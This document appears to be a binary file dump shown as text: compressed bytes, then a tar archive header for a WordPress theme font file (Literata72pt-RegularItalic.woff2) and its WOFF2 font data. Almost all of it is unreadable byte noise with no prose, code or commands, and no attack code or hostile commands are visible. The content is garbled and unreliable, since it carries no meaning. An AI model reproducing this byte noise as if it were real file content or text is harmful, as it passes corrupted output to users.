.IgKwv+DdM1^0r%DO|U<:b̟[TPol?ן "*Dic_s1hN@^By~ÄI$UhzPG]%&T0Z5'Ŷ,(f3lPӗ'"h ʘz˦t)Xۈt2҉Xz$ITwNk[ܑtJN_UE{Nvdqr ⒒^ޔ@OܹM% ^b,x!ytvɝ1R+*ٲ|ZɱN΅-k ŝ ɌtEмL2~JT| AHN9AiN["q֤'7]SKnZRjO@QUq4?C}DWb&Ŗq,^M~#nޠbM zdY 0mĖjqu[@ۦ ^e#6TʓtK?#MAe[g榏Uo-Ԡ"T%䮬CĵvL }9an8<%,z$Y–q­EV)ܒ|4׵iCdQMD&7 9z!pӂf{ bY#{+&p^|F,5hJDAEv~ P%O XLc\Q.)4zH>iL#Y26\Pm2R0 6E8,>6S?d "3GĽ}yI&f]}DKD \jj<ٓ_|tܬgsatT]g! cuDH+i6>EѣD = U@3!L24e[̀ԺM |vB7!x}9t2/96L.Z̨p懼\Gbno3LmNΛvL$[ґ!trsU[ʴ'Io&rD@Y'J+OV|< 8ѮʤzsZ]QzS*@'piUy.`ѹ2[w*oW2tgCc^TބUx\QÎP):=jA=$ZH8;{"Fcy_KWoZ8hR ゗rx'lFT#-DiN@|ojIFmN%wy)rܬ@A f^. /5F@ttO#%ͥ Re Iy}-gk(j]:Q<,y4W\ ́mlh6DdcRw cR/Vq4>*K?檿lc2DzJ^;*g [U?sk}'>D0&0)f̮mMĬ4EޗbFP [qS ]kJoŘ3 xm5pZkg˫g6{YlP %6YbĞuaIڂD}ǨA)'E9Ѭ $6<-51IRC{ G̿sEWɋzKβRŬviW\9g wJc<PԞvUSaeRrL&d__:2-jTQT8XOm@EyUG[4PE' < ;`v>@XÍg aӷڪ>RӴz<ڥBi~å t/G~+n;O]9,l+Mx< *ss .TC1!3p\ 0NSV)Iտy ̙6BX#G}㩙G+ظC)LQwIPXލ+yHţ_hEOe*/("LIxNUN T>6}̼dS9bNKʣ*(_GdP=~ S\1K^ZJ>gh[Y>&N\KlCɃ6Z6ڦV@"j 4$K#jIB5_iiҞi݄FXRZJ4E%̐>Azuw2s{W^1B;:S&l !Ug7 ,*vhD ?ewd-#Şd\bBu)Ji=[xNz"\׬ k,D4O09f)&5P]˜]g)ņ̍{/KQW^%Y5bijsne"/d4p|x#4򰈕:t{ ; U F!b;YEGeYKOi㲅>p733.2{K esCmS 5X,wD+Xy"TzvS%лx9ljBJvWgnRLv +tF%%Э$dP0*C2VIoм1װꁩUyKecƖ9)ݬh\52݋ +)#ĭHU !cеu'@x zo/צi/z^*ƨ+Bnylh4QY^? A"bWa˱`QI?ѫ3*bqs)o)VE-"Ji#KR#IB.b7#69{˾cʢ³U'+2Wo_q,Pz"FҕkhWJ {3>*Qy|=*kd^AԹ `U̙xJHOu^pecdF/롘hq+QU*ӊlDFx&ey#3mURz3x7$}I%Vb2o! 4uYscP6:ᴾJפ>$yчjuoC*z|6c* P7oTt$:Qͥ>cc+)rED0e$5uȡBx!}/ b #8%;YJ$c`\]"6_qfv57 G]iS~ʣ^]ca:wu8~$vþqsDk+vf)G[Ô7C mGsnJ>t _K_2Dhˁ5/##>ћI^@*Z࡬Fjzt+tnˠn";N!)CPCI'{?(SޔKbfGb>&lK{djUn [&qY!;EnddyOC#FY.jZ;xf ERPa@;`[]-6 w7C>=C m[kAfҒyw_YlK5+. <5XmcλMˡr^bw!ݦܻ̌uam2o)ts"OC4Bn'%CwئIlΟJw`l]"dMn8}tuN8VbFm`>T7VQD%>wki)95vm-fNeS%6yF6#Cp>J)lP^|9T\Ů8Eoِz6J`5-tcxj2[N>-!|ϵ赈 3y+{0m.,{oJлi5:@pn#p=L1?n M~> ֎aPq,zc-]M "x\E;KlH2:&88K8 BװL[wS@u %<~nS@""P}*뙚3;2k^,GA!L'Q>Qi- ͱ\=ZkA?2VH,@˼(b7+AXԚKYN}|{STa^xbQ(̣{f7= ݷ9ԄJrw,u~Q(O#NOOU .(,7%1Jb_v-ȻȧhofzЄ\ю2sHN#=^?TzՄ+} nB^2z]Xc|#r.윚"윂IO,}TcfC@gFȢ 䶭.R(NvaTM+wՊ~`- d +\|yؚz=hcܨy&;=wM 2-ijT z:C^F&-70Z`!uT6%Ss܌ h-xE fZ=?ol$b [[ɒt W @1mcZf,s&Ȧ| P9v$dl-X%'}ǶR-+aAM x4+f;MDRyn}p"#uG*܋$i 68jKT(aaYPmĂsqaq';-K(d;@;"|n$q#kd뒸(6obcuu=K׋'q}"Ϸ8LFƳYI3 fhSf;LG'E\?x'x_)ǵ}q:=Kހkx:#'F i$ٺڲJfhCU$C^WN&q'7R񇭫-sJ \d'l8p,iwpK04yTU1p,xSZn"_E5\ AVsLeBB'Sq#֮D茾gp BD/3Jq O5VYKK*eլ`!޼ *uvNaW@Dʚ^<L. mu[6&2w,9śyf`.sT._mp4<'qQk?>\wSUő}oߟgJC|e8z+L}:NMd0ef^ [r>ro=4QdyB3)%IH^''ww749pŵ/;^l7<%-bNGORO<J|+Hd4~OӬaBEНk.(Q20z[;p ܁MHvIWhH=)a&8 dIavڔ8ګz/eJ|M8j{2IO.p>@D^_I!hLЁxHt31";L׼am-ăʱn<(n ,W՚ze(B&胊ˌꛋ@\rY~^slM'G,AսB79o<0yE䜎ZAz|?ׇB "x$H"LsSh78^4E][5{b4qڬDsOERfZRCw54p !s}6̀9zr;iCw)&0 W dp;P@z4\)0&DgW07oVln,0IY@-XdBTAꯎ9Q69zEMF;}w|) (9sEE&*s{ļނX[%a Lyx4el3?dOi0B\Ȃ-3hꙧE."b\\R#$RYzm0Ţt#fK@ jF|vqJ~8?R&(úcr۷'ߖ5&+z<ɴuǛ?3|W~=/`r>Ÿ-G1/TW' jp'H)&]@\CX#),=U!ۉ#GwivM+j##tu4\{yVlL+dvxjzj8"zk<|MݨTGE*".-Ws:wZb V7MO玵\du؋თf䠽ԇbʥe =b6ڻ.̦>RgB LJȻK5ّum"40/;FN۰8HxH# <'N+R~I< _M ՟6auA]<)J;BJ8&4MC) 9a2VD4dG_D-ʵ:]:[{I>$IBXA?-6"t,፾='Ag/*G=NzXB-6n_AzK_&9"t9 S5=)x}N/A6!%+GJJK;ެSd ̩ZbSgKXb3ti`>Sl ,Rj mZ5 tt]WG]UEQ {Fl}Rܪto\/gڄ3GBӆ]z0 ͌mcNϰ)֐i8`>Lrmr7g^'Ē щ顄 ~g{(j fȇQ_0Wpjݯ Ѹ KIgԒ.smUv硛(I&$U}ƫ}h:BW wiك`7h2!yMn;j]^9'f}ʼ3, 5G0RNڄi}ukJ uUz`s,gK+I-Iq64pIv悗趮مG!+m{j-RW+{'Rد^]xt:]c@!D1l'||-.|xF& ñr3~|LNC3 -Cs^CQ ނeܾXΰz횣ԯU]aYs$|3DEB:Y4wQ9E*!YO9Γc]aD1dV^hwәkWI璺g\3g0ƚ|WTtIs;ʄC\zD!TTύhFy-H̝݃tڒ$=3uY˂!@9H@p8KS iǪ:ІU]";c^xYWj'P@ZJ ^z֗Gl&JRR/GRWYYW_Hm|i[ZN+#eiXnOCq}VJ}"76詂,>^5Id>G}$;P=_yaƏ:0J qS-41!0ti]PI$JE ΍ju;s$yAۯ&Ihk4ek<{ aVLKTJmwCKz C;&z޿F3(ލ|s9nfnŨ]'J8Eꦝ'zIE]S$dIH􎴲ǙMkbpcf{B{2CD7>*/i cBPDԫqݍ'=eMAbAr6PQo! =_h _4L){ U?^ |s)mᵟY|K .si-!}|:T 8Dz$koRjOKo7x-F޴QЩ ec= uS/ wʯSeXܞGgU* M)<2z#Uzz,0}?"cփX-l rn*g^7! g?5P`ؔ Y65LV ]\BW͞/PˋSesVB\FD]hF-)Myrb ΁뷼gqPߜxE$A#"!ۗ`?wI,>9e" 2C6 ._ފͲ)](p1xҷBA_ҳ8t#{_Gwłr fb8Th=U9_*,=/"襯Wu( #2[_]RE KNQq_UܠfW#96 \OQe V,*Gh7⁧A-55RL!,`d']6xt>HJFq!m\sQ=szղlPO?W؊wG[E|dhq^*dr1kr_a7]nѶӏ\zb#E+O&cW3l͂I*#q5c>B?,3! Q4؄c+}piCHF)AE gQPhV{+ȋ- i=GMKHOx jQ #D,&IB"[æfԮ2W8O}nyJ+V^7uGybKאrlX;ǠۜƸB9:iy2U{#za?A&AhK*%Q ߸,D N'ZPaBƽTa@VuBxAVy<(-}1E Wmmv'Pϰ3HCω~lEKIRo&3?|rǶ \T4 hPAG]TK/|zy!Q9 =1D[xn@|cVQ} y:1)g N\vp(tkވ&=9 =V6λh6]@޴˕&{a U{=j G_xڟ>q̗'EXJݝ(-AO"5OTGV|CV\gY[a|B%Pc%{ HTgl՗g$2+: |H2/6d?af_a/ P[I4xaУFIA^dHpV&jktl{x3iq4sɳթuWr6^Ǔz_ùҗv/X5^W"^ϣl̟{ R. j1m5aN$8ϯY`k,/w0уXl JQVN2Y8_ret 5v-+IffZƯ_m?.*9]if Nvvu#ߜ1XmwT,ǂL T Xu>_[?F3JLdậќBE۬lwCbwSy]d)NoԃE~z :ƇyZsb1Lo~%Þ3*LūMO󈓈;+:a6pTKk`3{ D6!FT]g |a6揾EG~g\W êunzq}`r&;NږK45hyM_~I * *}aXѶGܳqHoo~>7tp6m ~>N1/ Nks/{s[2:e`#ꋿK>s<\Gxu#^n^{!Vw Ft!7+`=\3^mj3(>$.Ĕn?]N3:/һUhcIk?Z,iy5g>O/Syw2cxB ŏ^9]l1?Gy N,U;C;?-rqD޿(v>mCRݚ?:܁ͭ}yZԃV.yd}#x[WPޞv,]_1k8K|6:Eks/u$!ަsczXYN5B2W#*xU{}D>:\ N6~<~(4ʹAsQab&`Z+98g:joB~gܭkÞiǸ7y;yǯO_ߏO2&T]f>^N%Qħ,zW\_F'{=';*tzU,=^'!Y}mnbp=,ޕdb#R2~@Q3yTYCĘ\a)gBNYxLXǎ_R\֎H%Yn[c_jly?74-m?mºq=k} n2k7/{?J,AHB AXd!twP~K<ѽIYuqsKl&&=VTzǮt# 8_I̛$OڶSz IPԭV3" zFxѩ-[ *DmƆ<cZI->-\/tYH15= }zKe(R#wYhU#q--;sjj^xH͢33Oo4|F7.ʦBxAR>˓;dl=wWU;1`_έY˦ yڊz|& +`&߲ٱ B ]Qŕđ¸Ya ͎VV#E5Z8q?AD\'QdnwUCtzݝnJ&-e:ng0WYf \7“^ q '([oM&W`3wV0i7`yRn\ݰ xoy3BQn@iJr(.jQ܇`1}'CcY؜wo#xf̵'VS%HkbLcZ:JF+4Mffw8]n<{)T4t @&f]98yxzJXstkh4lӮCit譤;*ybs,̱Ju=R=j(?) 噉 \}y.`(R͠vuP ]+$DR$BWOD+iR㷕fvb_iFyi0ӨYZdbfsprqK3'4}B&4,rn\T֋W ٮ$QAkWzSϤVzt 15iւrĦ`G Qh 'UK)Tde7 Ӣ6|SW,j84o勯ç=d(+)2aOBTsnڮi^~y\oNNy,yzƋ&fs%eWUgݎzz%M,v[4|8ҵcN%{OR169 ؈*qVmϩcV;L32-q={ȼ-iPg0ks*pcTJ S;Cﵲ] `|)Td9m&%R\T5Z`4-,ml9r>}M2~z`b)SVVR{]y2*DPE[s0rjSSq|8;b%J@]W4k{o04bjҌۛ J&ѿ-m517P=Sϼ`./LPNohxAdE՜;q?浠Tǂs:ʑOWK--u;?xu6v^,m"û,[\NsyocMD??r6W7׼5ElIcuWF^8^E,Gхt֪ve&xvp', nۭk7o*Ki0Z~>ܤjY@cP> 귶jq1W|fϿ6.]>I uYq!ykmEGfP]֘1Lﭞ5ZycU$<LΪyeAu(YqTtrRV9y=>batϚ C_'uVqZ֞G:y޾ 1m=_ȳ"hd Z Cp7vX8vO."ɚr j=Qh; $c&ݛ-RHk:e!uS~RgFft#&9-2zU9 Lh- ʂ >'J+MrPؘ2KQRJALI-,]#}Ln=0(U;$a. g0ZFEK"Exč-V{D=Fd"@f?ws pE[pv@s`P/XB4WC.SPށ n?bKiW)wDIO<IޓncqFGak aou! k IDEle @0EELd_^E(B`B(~֟x/h{GNAMne*hkhgpQc]'u;H} Xu ͧ/<}2݋- ]yhy{,b_xH n5f-?EH޽g ԛo}>.?Osc|㻴SpüCcˆ,`* _Q֟[鷾+gbJ] N\Sh-Ֆ ׂo:;񧋯aMz,9R~1lIZsK _Ut?Mp%d^\SDc~7]cɛ #"#@|nfU6B ([oDž:_??)q5o&lP ?bZArx̍P!t($!bwh F1>ActQ+grb-t_$2V)7.}֐)~LK.2E{5'/LtQk FSrmӮlRN{ tm –+ř1XWJ h\BLj_`W{0bM szlx ..>`s(gY,sbHI$ s8e)(qdr4DdK7q2.48i #17gT R>ҸVIltꇰ(F3a~%] cJ $2 ;E n)fzrV|fNW6兾Pp2$`b r³ ho# =_!V#~# %/IrohB kr IBH+jO<$V W^rNr|@x$5ΈCn#\c 5xs(a0Mmyp,ZUW!kr7g7tW2xmB$|__qGhO>e/OG'._&5`VɿhlP 2$21\뭘vqJSmRE-^egSQKӳue5bVwWq};Bփ-nyb LF-nX'ٵ3Q6gb@JaU{j蔡'I_0 )tB@t@Pܗ$!|Aׂw" BPrف9ޟԲ{̮_H 0~Urq!zs& k!{poo{ MmFj (* @zi`B6¯$}ri5A5J-M~2 cJ y 3bL;`IF_Wthemes/twentytwentyfive/assets/fonts/literata/Literata72pt-RegularItalic.woff2000064400000272570152335264760023756 0ustar00wOF2uxu^Vb4`PX  @H6$$ ( <} o$"[Ld'.k-рꩨN&B̩'KհkD,gnB=ӊ3ɏ3fv79 .EQ+^V|hWH e l yWVZ4'a\ &}k@V+0΋q˪jgHpb<$>xCS*[_܈2=kf8wCD=H*V S*Q`K !BZ;nB2.xENxR8L3xjs -/:k;ˋaRA*#SU~kADTIaa>oG{č۠FE.tǷ9dPݰLʩs4yc.zwN* FSVEl& 9Ie+L;b܊F02̥3MyIВn G'c@XARKvbri޼5~ Y hr.^vScN$B}Ċ5&K2x9_iz.g-爙Q׼edA}.iȇV(5w l_RNU9EnOERo1Dr-O𧄬3mEsk |0DXa[}L<^LD6G0(1'Pљʠc K؇<^'Y'OŘxPBK(JO4[y+sdh *B)q ??_zdHk1*?|3i:];ZR+R({Npu}O^홪ƛɎ\ -!̙_w5dSRD#eh-s {(?Dv=bܺ nJd%nWhj#iWC>}"swm#eHT(U*EHԈ!5" Zj#RJH-Ϩf ƈ)؍V`$ӻk&U" q$bxALVD^+Q+Mݶv$"dQ!6eXoF}ѣN+We0dP"%И4fm~dXVU@OO{doXBr.Oif˭Q,x0廒ap%_*t4NZp:2װe cKІ (:: 胪v`u\bD;<طW`Y2pd CW9aO:ܙ ٲ,4Кm6@N6:.iR># EY2$Aʐ2,1IC(PBP],yPܭl;ffV3poyϹ]4,ͼT y4a$N@8 ,fQf:>` ٝ}!Q CMPfk%ߔ訮ɉ80o[}(bXQbw$On5GדU: ڡ֋K*aFa1#R KU’tmeFHg]@$;p`caXWZ H"H{! 00IL:W##['UQ^Ĕ1 c*՛3`Uhu|eXd XhtP3<Hd =At@4тW D Rj;Q?v+5T&, {UPERjZ us%O`HEJe4R6%j(5mCISq*HKJ J!vճe/=lSlgrYlBN3Ls)#)F~%}g{,;)܀MČT_ԓK5)ɽ-mۃ4x"jc_i%;C<%D L:Zb8cLtU0g"2R)Rh#eR,Vk4鍀5ewj/%b9%NR<9eմVio[AAvO'Sv%߁W@B9#prdGS,WWw͹55TZ]s)T_&gT3#1BY%۲炸w6 $q[zqޞVNFs;I 7ǻ#G0aĦ"VD9#a͟yE-U5TQQQU1UUM<}|n«lihCPPPP >^<߹ `!0Px0P( BP()fwxi}̔UUU="ȍ-bȍc11U[ oSyy5-q,7giQ*),F B J͍ ,(c,Rͽ,?l$hH!wkϛrd ui׽ zYWнDBa! etg@oMDg$` HGÿ@v>NnRHF1#_B[,5WGHJm& V+MđFDN@lzJZѫE]-\,}0T`P@@AzA,,PA i H`Tj@XmTX@h,Bglhר14hZG:Ycz].ÖY9zѵe>5NUF/h*doU;ڽKhWԇ@2LV'# ӷ:Wq˞ڥvdmDfoi곰T5ZO@X}o$u.^^7!=__2XU.^զ[4eډqHO \'ӷBf W%2/E|%*16:K#&3FĽL^ kySV+aGP{ &Lg Ct%cR s*uë黋0u~T ]x3_lB+^', 5ed 5F; Yd2QJWYT"дCʫȖ&$zf]@/DYΠi`D ^t v^]'Op[UU#5eg7H|I1zƔ$bc|CY?Ҽ࿡PMChK!~N;gG(Ta߲-]U6꙼N|~Lm*)ťIS9%z2ne_Z8K!/n6E&.d.1guLR9/0xѥ;L/C2%q┚zi(`p?,럊nWEf:bʴm˔ dk"$Rqp&.}}7qGVdZ.3gO&㉭'_;i+bnb=JxF^[$rPH[QR;ogb< knY~.~N}l^量ztU'z r?Ny(KCԨ+IGlUY(qXTph\~~8<*mx3D{vj^^n2D?_&^Sdl j-L gXTy*]\;窽1_P1 D"ZtkL՝ W@T/$,JIؚ. Jy˞j7^7⟙ kv@1ldg9d7זY\$:FNGSDSߩgok/iH2ix{Gm\zN(bU | 8{P66}B숺5†nwx*4X:pETqtypܮ's47@r %!40̯%3X]| E}*Y98\o eJ;Κ}b*\ q\8^Q'_YCH-K$9*xpXߛ>K|AE`OeښA%8 aXm)MPeސ"_R-_V'?Z:wt6֬'j$sUGW;O|bn_e;+({8LrQVlܒK>\ikHcS5L]% Ehi {_T*YU@v:F:!GD"_ϭ <5b׮ןSyB[#Xs$>Vr(@Iu*K/lN\T*Cc/uz޺r|]ZJknH|IɖU(q8a&IqͿČ^[;qV:)SD#F^ :ˋ@}K8f^-#sAF>5M]d*{J"#6b0Yc]t>Ay9bMيO(ϋe)a^揅:DWU(ğ% ږ_Eebm"Bފ"2ҙ!RB^$8o}pgHs7=VH>Ӣkz*{;fTZYyEC[>mSIkv)ŕ;=/NG2WK @?~ewIs^iD]q/u/Qg3_o~ļG۔S< –R,ۧ܉todk1j_g"MɱRL\Hnu>ѹmYtm&2] 먨۔vA\y QU")o:J8E ėcc}!l&S5.$]9c.2z^<_mz:= ?̙mx[ *.{l$c)[`>絹 *\V5˲hk(t<ȹ)BX"!w-AKΨsl/8׮|AgժjrT"_F}m,%zF>Lqٕ-oA% JEon5>=c1kAH*_۩=roe+.lNzN=3& j*mkQڜ dRך 1w7'X7WS[ʈwUG Pޮ5FZ?amb?9#3`hI@]~#!e;'|Qm[|}z!n-)QOH ·$nPdKmл]c |" 124_~ʩs4NdҞ;+6WzpE4/25璋IO6le&ECʅr!O3%?ݨr*\*SӅX3M +NleRW=#Ye)Qo+ESLPs3DfJWϹ[m&2mܛ8c7]afИX-[5he~"k%R>giд}m`X&&&n wS2([=?F6slOoOX`C r2ğOeUr.<Q#kk]m^9 (b5&ٳ˽~ ԇx}c|]G~uޛ AP-BK8j1i1.'O]rŻ{\nŐ$%.UZgv a$78Fl6_0~Z[RK{As@6P2UR'@L5#괫ū@5XF uVVM@6E_43lݯ冪r껛)85V!xszmuP'Sˠ}s8AߪB4mq]J|#}V|0m?D'B'Sqֈs<';R\'WIRK8n ` !T Zσ٫_:>\ ]!>Jȱ4Q aaܪRjș4e k9>V{w thъţ#ҕkŪ|5 cx/=]v(/A@AJI_ ?d}vew\ɩ!g;UI+Zw/Me>ykڇ]QC,is?克e g-h1eZq2'*@HJ2z#m^FXRlDlf[y9ND/G`ڗda_CY j)u5=ke kXsk5/ 9XB9K&xUsƴ"% o"&%M #gGEˎ~k巉>U D`E݉Ҋ 5L-WţMwەAoVRTQh4%+%rПU=qjV7:$P= uf?Ҏ7gp4ZæIDʦV3XF%j7@63"ro.@;MdgH~nӱ:dXߴ)Rbszuz" ;Lq}Ld}wQDq/O?bOTœ*xlZҪeZv/DԯgZvlCpQ ->ؘNG: ; Xŗ^\<O2S;:?"Mb O`pPw--hWMŦ\#x` <@E%TUP؟ vǮ]®jqY]H إWs7+{p]ݓb.L%8@n@=h [ۄ#qθ#G`#Ųh^xrٍ:m4N`jKrFBAmnΠH9J6CWTm()Z7|4tB NmJ Ux|g u ZUm{YtCQmN6hsy27ȾGQNr{;'|.c7Cz$LݍD=,D'Y;wԱǫʠƈ@u5# :!W3h Ec熯6A ){/Yer{VyEȤF3cц@ 肁dv$Xɓ ASRvwfòZ2j1C'9eo旱+3+^dlhKܵ>QcϱqBA#'B(:7.0sgՒbά>wE3as?A?>, ;~2[ h`CMr?{HMn9 8Xulf'^9F~M$211Lt_n6}"mZhozYm ,75w˥I^Ahb8pPpz"hw8@S2T+!fpИ3Ltr.u<*{ >]+\VKQZ4X%2D#5Oiȷ2kJmQۿ}γqA(BIfqtiPM4QgIag1S ˩ a6Jy)38r;"f9>Trf0AevbݐHKI@rg1ƙ`)|.Mϲj4b &2d%)Z>p Wh=%D)sƙ`)yYb $8?{x̓s^W_oA4AS:Qua3YֿE:u)-KŃC53␺2nKm\fU CquHW"*\H8'B_wGE4.hd>b0 &!P'\4S 'aP"}Yw"T}]Ԟx[^ !D6ljB,81[gB¤@#?[12jzь׳q&cI &S/F gذv}&.q:1 d@#X'&,I-Q@!ETQM5}b -iGiuyxt\fJYlq4L0xkm4~ԓnxn(ύ{@E&-kC-x `q#.D$.BV`> z,gf(7˘[}'FtVL 9P@ʇE:t1XH^;jYj r9w}-$=u5B6!HFSH$Xϼ2v]*9uZ8LYqGs'qKsp@nc|PDC6%Hf9-Զ#gQl13f”sr+t,&L1bÖ#=…szOޫfؽ^&*qͲ Ǻ^z c-A⢺#5a/n;nl$xg:t C? 䔚I[ "ʏ9Y`%Ya&̈́9my_QqBK! H8H%)X̔8 b7[mc1JEFv['~ogqX`l2S{:s}̋Q!f@46t#D@L +MK$)X$*AJ4P@!EXTAuCZ Zh%feXcl?WdU)LY"su'2(Pq59(Ԡ5An87j~n/RMp ,e߻KĒMNjr8B9ioi4vD8Lj; hCay?ɯ+Pʁgk=<*` #(./LPNo075/s{xD )a9^%YQ503hp@,߄˟?{ũc_! I (Ɋ_^0\|CoACQU(4"riGtm&HfXDIVTM7̎>TU@M-nu.wǽsr $ KHJI+(*)khji$E7gނEKXfk}Ku m52(Yc0|nr*xd/Lh%f{hBGBC27Li^<sOevHq $ @Xv`%a$ -s"7 $e(T5:,lAS& PF(N NȔ*plJ3,6 "D*+T0*&.!)%-#+'hnaiemci7Rhuz )1RHkHl4tܟl^6n&ck6C4$s wPBA:J!ґzȢj>܊W~kd>ܪ=<*` #(./LPNo0#($E3, D*+*F79˹HC̱V?emL֣/F_5SUnVus,Ҝ3:S_/@a,O#Vx Xu7!IE܅Y4%"wptrEbTB0brT5pT&W(G|W|/X@W@Y-l\hh,NQ"JZ-I+P:(JDz|'}`bO5KdCzT; mL1P~V_+20\hSӜ娨h)L☉۹Cw  sȑ#GTr+7ye<3W bxl7[n44f,LphbnC"U[Y-貼",=a<郚MKhPћ7b!9]n@ QU #/ ($,2< #(4O7pr @ap,82,[ED[Ŏxc pC^*XXZY6yrO8`'Id #(Fч!) 6 "D*+*F&jF~˷ phrxe<!A1py|P$HerRhuzq̕r/@ F,k& 4k烥~J$ճUK{]֘ MrfgMʸR[^:Tvo'hei"Z*![=}u/Hu{jXֹOk$\uT %TvezmJ-Z:zFE-l\Ͼۯ^-ܵ FP 'H.(Ɋi-;yqpT3w?馔RJҹ݄ "#,BY9Hi$)M3myx[α)nȌFuJ"LͰ/n&JZ FbwptrvqusB;'7/@2)uiY9y 95f܄Y4Lج%氚/`mTn(Uf0h6[tKB4:LXlEbT&Wp!A1 )Q"JZ MLsC^~8`'Id #(FLBX"JZ3`N%/ESRoFz>U y71d7wO/2J3,6B0b8H, Jlڜˏ7Ak"L`Ũ4:py|P$HerRhuzdX]\=T:׻nr[6]v{~Mq=/nֲc57/hҢFPL wѥaGz ;WA_ޟGƽˇO_0H?NͰ/LPN?q$*@$ Mx:[&%-f\ӹ{ L"L^_5w' pCf~6:u&HfXDIVTM7>+/qbq$$HZFVN^AQIYvtoGr`” No- &.I ( Jb] :9Wor.;8:9 "D*! \Rk:H͘ɳ޼:M<@hx8aF_;RW I$I$I$I$IWi+YXLp  pNͰ/LPɿ}QYYU[c,1if 0W(Uu/{ǾSP$E3, $+yC<Tn.н|OPitS d54ut bot+mjdxbK,U:"Q?k,O KHJIɓ J鬈hY9yE%eLjZ:z*`.żEK]O|_}{/e7_ե|j%Gp^b_xc^~GR2Z:08I#%|G"@n/ ,<"2 *:&6.>!1 9%5 -=#3 +;'7/@PHXDTL\BRJZFVyE%e*ZjӮC.U0dF3n"L[fƬ%, "E#Vx %I"Ut2eF#W|w(TX ReUTZZu5hԬE6:tKE%$edUT54ut 0 #(4&$Sg~7261`qxDPitpy|P$H} NͰ/(UjV704K,c9%5 -=#3 +;'7 /uѫ4e82Bf I5!c0$(=UۺCqOY ;hG_,{bYZ@/d+ 2?g8ilR"y)P(Nʠr*&g~-m{2xxI{lM} њlR[s %=Q{O~NZlHUV\뿲`۷J.=ۏEp@N9qp_H9"'j %rCv &p\I\C媄H (!a{/x_~C톜 L7tݒwr!s[ED;<6pWCkۗ*R(4)R-) 7vm' jQIYILѦkatN4a?_1kh]AMBݫj5µKr Ex"xc _pŎ5$'v~e9KS:L}W5w"RՁ5/GD M4P*qG怄:0X0@1PiVFIýxwGU, sC|5_a3c)XwV 4jCȰQۄ+(":Hn$n9m55wvKʥ||\\i-vfݶp9Ń 0 gNV6%'y7dS~+pp#Ac*4?dP TNţٔ6Q:"%<3mYG5<Ŭ=R[nxkh~6d?< 2@:<1u{aJu2YJTXu>ţJ04,34N2^ݲw@Lns$)Fd&'EK[Qh) R˄ZC^{>Mbt˭myY]{uVU{ݕrۗWԑҐRB)Z] A:T*P/ߘ,S6ZuP_:Q^ H N12km1(і5k[zn£gnI0.l|PzE9oM3D-}n?rFo涶}G&Yy:lӞ٦m*hԴ\}ry}g@+LcpCW[ˊIn&ל2_g|+w̘?œ_v_Akl\c]n?Q+ E&9~'AAn]N\R0?gi}} s[=@:VJ퀃gj "h`)l@/%_£cbSҳsr)]"K2 }ަk4͇H-?{~kّ9|" uϞhLhsq\!Q,y`Q-=Hqj_)SDvp>ܡq?Zz ^LdO4l$Otgz_=u_H,]&tcֵoM.>n LGHwlZBAKHF iCϊXjZFkGBFAE'!"ffIIedU08<@ Ri :SMwlWuu vNt&סl-mmn7ܔ 0BH(+(*){=/6oG̣!c`bd8N;Nx$L"=bD8x_+m;ih;?D +xK"a5+"4)g?c"Ĉ= &UwiA3478vj?:?H#3c<7#FͳS+.I'Lt,ԃBGoIYoو@cSxi,%ߊ0[pX_b{hrCN 5H?[?R1jg_^,qxfHoo,<c-Q2, )I`gюAطȁ~O_\G3\N8s]I{ya s͞G`Q qw4Co1;=GdyW zEUaꖷk_6j~psh8zbBfH).€{ώAo 3V8%^yJsȘ'%iW9VQ\Us$5` =qSn䚪Ln,CjG5]|]__cƆ^}NrRq]M2s^AY%";-\wհ2M+aI ܲ!B!^0Uƶ6<0b-:V#qssp8?FtK^Mdx VD1Չ GFE "]#H54O괾4Y-3oo%R9(80e3JʨR#jLS<3H%сNVZb>UKl<|4ji !dӹֻk񤑕03O8c픲) J-*0H6~G|' yf,|Jv@ $qmiR[%mc"3yFx~'wz{pt4 DIL"|hѨR}ҥOl%Kg~OY5{"]T$bڨc\"s~` c%M+B$(pdLUuJC]hK(RSyТB: _@KBI )NӥEo Ɓ; Z&X@cj˪W{q$b@ĝE8ٔ45lA_YSV ӏwEʦh_gW=SԚc:0ʆKE[hNK=aDPWТe9ƩNI%}=cI*:gP-qJMuos;tvmyrSd9гzZ-x:4GsDrL^pVВa(Tc"+D2Ң@NiX",{ $AH0+ކ)H|^0SVYs23  " e%PZ (ݠ~(dp=Wˤpڛ ȁO@!TwW u5W_OGd  (jB9@2T BV0ehB H T1v!BT2ik͚d['i@_A)O$iir5csWYb[G`cKFКsRcF%!+]*#B2^S~H RB6sjGb,e9>;嫦 9}tKn ËF rƖG ?B_ÀkŁRJ5REC>d8ޖ~\{Q&̀F$2 4*6D2P,֒؛D8^gVxQh=_?fx6$\)0珴91p@^;TóM&(!ikb\`GVJZr~jdί90'KNrWMtsl/2[P^z,geYм#aQF&qN]i|Ӣ oQʐqVb,Sr콠L,E3*] -dW~݋e)hLŽ_zb(Yl?S*T(ƀn* ղ4j=>{.4yКh)C/-kL]!wZꓦQ0&!őB2<}M{摢I`T7U)2]R1Pn^[M3!hoUJ{Y^_p]$ʂ)@H*ϞdlE, : „EX _塬V|(_.M P I8}wYζy1G?@z!Cx B&Ñ:CR\V7e@?D6$*z`꣐ig4hY?Yc7ӤKo _UCLjб^m>X+$q/DQ{7&b(,9ߟD2DֳӰ㿶HQH}رi%u3&]`VJi`^nanOt8 d˗6G7@'Ue#q& X`\&ܛo$PH}uI z2Cj8]ƣ1r2U%C>3,>oF#!zW0 I}_nA݆"_|N\|ex~ǁͯt69Y^t8 dym+pX7nc3uvg4 .=ƾwѺ=g\ >x@ûs$k2;]8V' !XJ'W|^읏uC|u n1p i,Yc^OeH3ze-"6:=^Q0C`vxGXxxZ5kB&K`%ko6f|#Z 'zTsPY-|肁7lL-!A#jfWҥyGL'af\#LUzmG Is^q>6'-wcVkj> |Y;RhϓUiq]H?I8͕y9.oϖs-QWi⫞VVT B8S[:iP3ސȕr!V^à*22/&$xn[F>{HV!ӇjvވJԢSIUԮ..# v ubY*6WnR>a!V@$8Xt:7Q O0%WS[]T#~at c^$' Yk`2`l" /b6'pv =d5Kr.K'*GzB³S,xB?@gaYhٌaTT\WF#/(,qY@᪠Qw^CnyBh~o 8p3p eDk9x_bL`Gإђ؄&_E/zN[_ȀLG]|yOm:3!zwՙlIԷKc`:Nq9:1Ϸ51U搥IVWf :PN%OSBҽp91Xq,[ Ɠ.l(IW%[ qc"kfhB81JqJ 1֟9s;;Vp0hQlL30SHL,R/w3R!G$c˒l̵C[ORn#_oT N#LZS_59aaׯ`fӺ5LicN5.zDz^ 